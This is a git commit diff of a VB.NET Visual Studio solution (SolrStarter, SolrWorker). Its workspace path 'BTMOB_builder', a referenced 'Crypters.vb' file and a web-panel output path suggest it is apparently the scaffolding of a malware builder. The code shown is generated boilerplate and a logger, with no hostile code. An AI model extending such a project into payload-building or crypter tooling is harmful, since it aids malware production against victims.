initial commit
This commit is contained in:
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"Version": 1,
|
||||||
|
"WorkspaceRootPath": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\",
|
||||||
|
"Documents": [],
|
||||||
|
"DocumentGroupContainers": [
|
||||||
|
{
|
||||||
|
"Orientation": 0,
|
||||||
|
"VerticalTabListWidth": 256,
|
||||||
|
"DocumentGroups": []
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
{
|
||||||
|
"Version": 1,
|
||||||
|
"WorkspaceRootPath": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\",
|
||||||
|
"Documents": [
|
||||||
|
{
|
||||||
|
"AbsoluteMoniker": "D:0:0:{7337EA08-4AF7-4171-9739-0F6B362ECB6E}|SolrWorker\\SolrWorker.vbproj|e:\\downloads\\btmob_builder \u00A6\u00AC\u00A6-\u00A6-t\u0431 byevlf\\solrworker\\crypters.vb||{2C015C70-C72C-11D0-88C3-00A0C9110049}",
|
||||||
|
"RelativeMoniker": "D:0:0:{7337EA08-4AF7-4171-9739-0F6B362ECB6E}|SolrWorker\\SolrWorker.vbproj|solutionrelative:solrworker\\crypters.vb||{2C015C70-C72C-11D0-88C3-00A0C9110049}"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"DocumentGroupContainers": [
|
||||||
|
{
|
||||||
|
"Orientation": 0,
|
||||||
|
"VerticalTabListWidth": 256,
|
||||||
|
"DocumentGroups": [
|
||||||
|
{
|
||||||
|
"DockedWidth": 200,
|
||||||
|
"SelectedChildIndex": 0,
|
||||||
|
"Children": [
|
||||||
|
{
|
||||||
|
"$type": "Document",
|
||||||
|
"DocumentIndex": 0,
|
||||||
|
"Title": "Crypters.vb",
|
||||||
|
"DocumentMoniker": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\SolrWorker\\Crypters.vb",
|
||||||
|
"RelativeDocumentMoniker": "SolrWorker\\Crypters.vb",
|
||||||
|
"ToolTip": "E:\\DOWNLOADS\\BTMOB_builder \u00A6\u00AC\u00A6-\u00A6-T\u0411 BYEVLF\\SolrWorker\\Crypters.vb",
|
||||||
|
"RelativeToolTip": "SolrWorker\\Crypters.vb",
|
||||||
|
"ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
|
||||||
|
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003361|",
|
||||||
|
"WhenOpened": "2025-10-19T17:10:33.603Z",
|
||||||
|
"EditorCaption": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 17
|
||||||
|
VisualStudioVersion = 17.6.33723.286
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SolrStarter", "SolrStarter\SolrStarter.vbproj", "{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}"
|
||||||
|
EndProject
|
||||||
|
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SolrWorker", "SolrWorker\SolrWorker.vbproj", "{7337EA08-4AF7-4171-9739-0F6B362ECB6E}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
{7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{7337EA08-4AF7-4171-9739-0F6B362ECB6E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {BEFAC5F3-C792-4A4C-AD7D-43912F0A5869}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<configuration>
|
||||||
|
<startup>
|
||||||
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
|
||||||
|
</startup>
|
||||||
|
</configuration>
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
'------------------------------------------------------------------------------
|
||||||
|
' <auto-generated>
|
||||||
|
' Этот код создан программой.
|
||||||
|
' Исполняемая версия:4.0.30319.42000
|
||||||
|
'
|
||||||
|
' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
|
||||||
|
' повторной генерации кода.
|
||||||
|
' </auto-generated>
|
||||||
|
'------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Option Strict On
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||||
|
<MySubMain>false</MySubMain>
|
||||||
|
<SingleInstance>false</SingleInstance>
|
||||||
|
<ShutdownMode>0</ShutdownMode>
|
||||||
|
<EnableVisualStyles>true</EnableVisualStyles>
|
||||||
|
<AuthenticationMode>0</AuthenticationMode>
|
||||||
|
<ApplicationType>2</ApplicationType>
|
||||||
|
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||||
|
</MyApplicationData>
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
Imports System
|
||||||
|
Imports System.Reflection
|
||||||
|
Imports System.Runtime.InteropServices
|
||||||
|
|
||||||
|
' General Information about an assembly is controlled through the following
|
||||||
|
' set of attributes. Change these attribute values to modify the information
|
||||||
|
' associated with an assembly.
|
||||||
|
|
||||||
|
' Review the values of the assembly attributes
|
||||||
|
|
||||||
|
<Assembly: AssemblyTitle("app starter")>
|
||||||
|
<Assembly: AssemblyDescription("app starter")>
|
||||||
|
<Assembly: AssemblyCompany("app starter")>
|
||||||
|
<Assembly: AssemblyProduct("app starter")>
|
||||||
|
<Assembly: AssemblyCopyright("app starter Copyright © 2024")>
|
||||||
|
<Assembly: AssemblyTrademark("")>
|
||||||
|
|
||||||
|
<Assembly: ComVisible(False)>
|
||||||
|
|
||||||
|
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||||
|
<Assembly: Guid("7b2cb46f-f55b-423a-851a-53437db2745b")>
|
||||||
|
|
||||||
|
' Version information for an assembly consists of the following four values:
|
||||||
|
'
|
||||||
|
' Major Version
|
||||||
|
' Minor Version
|
||||||
|
' Build Number
|
||||||
|
' Revision
|
||||||
|
'
|
||||||
|
' You can specify all the values or you can default the Build and Revision Numbers
|
||||||
|
' by using the '*' as shown below:
|
||||||
|
' <Assembly: AssemblyVersion("1.0.*")>
|
||||||
|
|
||||||
|
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||||
|
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
'------------------------------------------------------------------------------
|
||||||
|
' <auto-generated>
|
||||||
|
' Этот код создан программой.
|
||||||
|
' Исполняемая версия:4.0.30319.42000
|
||||||
|
'
|
||||||
|
' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
|
||||||
|
' повторной генерации кода.
|
||||||
|
' </auto-generated>
|
||||||
|
'------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Option Strict On
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
Imports System
|
||||||
|
|
||||||
|
Namespace My.Resources
|
||||||
|
|
||||||
|
'Этот класс создан автоматически классом StronglyTypedResourceBuilder
|
||||||
|
'с помощью такого средства, как ResGen или Visual Studio.
|
||||||
|
'Чтобы добавить или удалить член, измените файл .ResX и снова запустите ResGen
|
||||||
|
'с параметром /str или перестройте свой проект VS.
|
||||||
|
'''<summary>
|
||||||
|
''' Класс ресурса со строгой типизацией для поиска локализованных строк и т.д.
|
||||||
|
'''</summary>
|
||||||
|
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0"), _
|
||||||
|
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||||
|
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||||
|
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||||
|
Friend Module Resources
|
||||||
|
|
||||||
|
Private resourceMan As Global.System.Resources.ResourceManager
|
||||||
|
|
||||||
|
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Возвращает кэшированный экземпляр ResourceManager, использованный этим классом.
|
||||||
|
'''</summary>
|
||||||
|
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||||
|
Get
|
||||||
|
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||||
|
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SolrStarter.Resources", GetType(Resources).Assembly)
|
||||||
|
resourceMan = temp
|
||||||
|
End If
|
||||||
|
Return resourceMan
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Перезаписывает свойство CurrentUICulture текущего потока для всех
|
||||||
|
''' обращений к ресурсу с помощью этого класса ресурса со строгой типизацией.
|
||||||
|
'''</summary>
|
||||||
|
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||||
|
Get
|
||||||
|
Return resourceCulture
|
||||||
|
End Get
|
||||||
|
Set
|
||||||
|
resourceCulture = value
|
||||||
|
End Set
|
||||||
|
End Property
|
||||||
|
End Module
|
||||||
|
End Namespace
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
'------------------------------------------------------------------------------
|
||||||
|
' <auto-generated>
|
||||||
|
' Этот код создан программой.
|
||||||
|
' Исполняемая версия:4.0.30319.42000
|
||||||
|
'
|
||||||
|
' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
|
||||||
|
' повторной генерации кода.
|
||||||
|
' </auto-generated>
|
||||||
|
'------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Option Strict On
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
|
||||||
|
Namespace My
|
||||||
|
|
||||||
|
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||||
|
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.14.0.0"), _
|
||||||
|
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Partial Friend NotInheritable Class MySettings
|
||||||
|
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||||
|
|
||||||
|
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||||
|
|
||||||
|
#Region "Функция автоматического сохранения My.Settings"
|
||||||
|
#If _MyType = "WindowsForms" Then
|
||||||
|
Private Shared addedHandler As Boolean
|
||||||
|
|
||||||
|
Private Shared addedHandlerLockObject As New Object
|
||||||
|
|
||||||
|
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Private Shared Sub AutoSaveSettings(sender As Global.System.Object, e As Global.System.EventArgs)
|
||||||
|
If My.Application.SaveMySettingsOnExit Then
|
||||||
|
My.Settings.Save()
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
#End If
|
||||||
|
#End Region
|
||||||
|
|
||||||
|
Public Shared ReadOnly Property [Default]() As MySettings
|
||||||
|
Get
|
||||||
|
|
||||||
|
#If _MyType = "WindowsForms" Then
|
||||||
|
If Not addedHandler Then
|
||||||
|
SyncLock addedHandlerLockObject
|
||||||
|
If Not addedHandler Then
|
||||||
|
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||||
|
addedHandler = True
|
||||||
|
End If
|
||||||
|
End SyncLock
|
||||||
|
End If
|
||||||
|
#End If
|
||||||
|
Return defaultInstance
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
End Class
|
||||||
|
End Namespace
|
||||||
|
|
||||||
|
Namespace My
|
||||||
|
|
||||||
|
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||||
|
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||||
|
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||||
|
Friend Module MySettingsProperty
|
||||||
|
|
||||||
|
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||||
|
Friend ReadOnly Property Settings() As Global.SolrStarter.My.MySettings
|
||||||
|
Get
|
||||||
|
Return Global.SolrStarter.My.MySettings.Default
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
End Module
|
||||||
|
End Namespace
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
|
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||||
|
<Profiles>
|
||||||
|
<Profile Name="(Default)" />
|
||||||
|
</Profiles>
|
||||||
|
<Settings />
|
||||||
|
</SettingsFile>
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
Imports System.IO
|
||||||
|
Imports Newtonsoft.Json
|
||||||
|
|
||||||
|
Module Mylogger
|
||||||
|
Private ReadOnly errorDirPath As String = "errors"
|
||||||
|
Private ReadOnly buildDirPath As String = "logs"
|
||||||
|
|
||||||
|
Public Sub LogError(ByVal userId As String, ByVal methodName As String, ByVal errorMessage As String)
|
||||||
|
Try
|
||||||
|
|
||||||
|
Dim directoryPath As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, errorDirPath, userId)
|
||||||
|
Directory.CreateDirectory(directoryPath)
|
||||||
|
|
||||||
|
|
||||||
|
Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd")
|
||||||
|
Dim filePath As String = Path.Combine(directoryPath, $"{userId + "-" + currentDate}-log.json")
|
||||||
|
|
||||||
|
|
||||||
|
Dim errorLog As New List(Of Object)()
|
||||||
|
|
||||||
|
If File.Exists(filePath) Then
|
||||||
|
Dim existingLog As String = File.ReadAllText(filePath)
|
||||||
|
errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim errorObject As New With {
|
||||||
|
.Date = DateTime.Now.ToString(),
|
||||||
|
.Method = methodName,
|
||||||
|
.Content = errorMessage
|
||||||
|
}
|
||||||
|
|
||||||
|
errorLog.Add(errorObject)
|
||||||
|
|
||||||
|
Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Formatting.Indented)
|
||||||
|
|
||||||
|
File.WriteAllText(filePath, jsonLog)
|
||||||
|
Catch ex As Exception
|
||||||
|
|
||||||
|
Console.WriteLine($"Error logging failed: {ex.Message}")
|
||||||
|
End Try
|
||||||
|
End Sub
|
||||||
|
Public Sub Logbuild(ByVal userId As String, ByVal methodName As String, ByVal msg As String)
|
||||||
|
Try
|
||||||
|
|
||||||
|
Dim directoryPath As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, buildDirPath, userId)
|
||||||
|
Directory.CreateDirectory(directoryPath)
|
||||||
|
|
||||||
|
|
||||||
|
Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd")
|
||||||
|
Dim filePath As String = Path.Combine(directoryPath, $"{currentDate}-log.json")
|
||||||
|
|
||||||
|
|
||||||
|
Dim errorLog As New List(Of Object)()
|
||||||
|
|
||||||
|
If File.Exists(filePath) Then
|
||||||
|
Dim existingLog As String = File.ReadAllText(filePath)
|
||||||
|
errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim errorObject As New With {
|
||||||
|
.Date = DateTime.Now.ToString(),
|
||||||
|
.Method = methodName,
|
||||||
|
.Content = msg
|
||||||
|
}
|
||||||
|
|
||||||
|
errorLog.Add(errorObject)
|
||||||
|
|
||||||
|
Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Formatting.Indented)
|
||||||
|
|
||||||
|
File.WriteAllText(filePath, jsonLog)
|
||||||
|
Catch ex As Exception
|
||||||
|
|
||||||
|
Console.WriteLine($"build logging failed: {ex.Message}")
|
||||||
|
End Try
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
End Module
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{013DD8EA-30DE-4CBE-869F-3D1A6B922AEE}</ProjectGuid>
|
||||||
|
<OutputType>Exe</OutputType>
|
||||||
|
<StartupObject>SolrStarter.Starter</StartupObject>
|
||||||
|
<RootNamespace>SolrStarter</RootNamespace>
|
||||||
|
<AssemblyName>SolrStarter</AssemblyName>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
<MyType>Console</MyType>
|
||||||
|
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||||
|
<Deterministic>true</Deterministic>
|
||||||
|
<TargetFrameworkProfile />
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<DefineDebug>true</DefineDebug>
|
||||||
|
<DefineTrace>true</DefineTrace>
|
||||||
|
<OutputPath>..\..\..\..\..\..\xampp\htdocs\BTMOB\private\builder\</OutputPath>
|
||||||
|
<DocumentationFile>SolrStarter.xml</DocumentationFile>
|
||||||
|
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<DefineDebug>false</DefineDebug>
|
||||||
|
<DefineTrace>true</DefineTrace>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DocumentationFile>SolrStarter.xml</DocumentationFile>
|
||||||
|
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionExplicit>On</OptionExplicit>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionCompare>Binary</OptionCompare>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionStrict>Off</OptionStrict>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionInfer>On</OptionInfer>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
|
||||||
|
<HintPath>..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll</HintPath>
|
||||||
|
<Private>True</Private>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Data" />
|
||||||
|
<Reference Include="System.Deployment" />
|
||||||
|
<Reference Include="System.Xml" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.Xml.Linq" />
|
||||||
|
<Reference Include="System.Data.DataSetExtensions" />
|
||||||
|
<Reference Include="System.Net.Http" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Import Include="Microsoft.VisualBasic" />
|
||||||
|
<Import Include="System" />
|
||||||
|
<Import Include="System.Collections" />
|
||||||
|
<Import Include="System.Collections.Generic" />
|
||||||
|
<Import Include="System.Data" />
|
||||||
|
<Import Include="System.Diagnostics" />
|
||||||
|
<Import Include="System.Linq" />
|
||||||
|
<Import Include="System.Xml.Linq" />
|
||||||
|
<Import Include="System.Threading.Tasks" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Mylogger.vb" />
|
||||||
|
<Compile Include="Starter.vb" />
|
||||||
|
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||||
|
<Compile Include="My Project\Application.Designer.vb">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Application.myapp</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="My Project\Resources.Designer.vb">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DesignTime>True</DesignTime>
|
||||||
|
<DependentUpon>Resources.resx</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="My Project\Settings.Designer.vb">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Settings.settings</DependentUpon>
|
||||||
|
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||||
|
</Compile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<EmbeddedResource Include="My Project\Resources.resx">
|
||||||
|
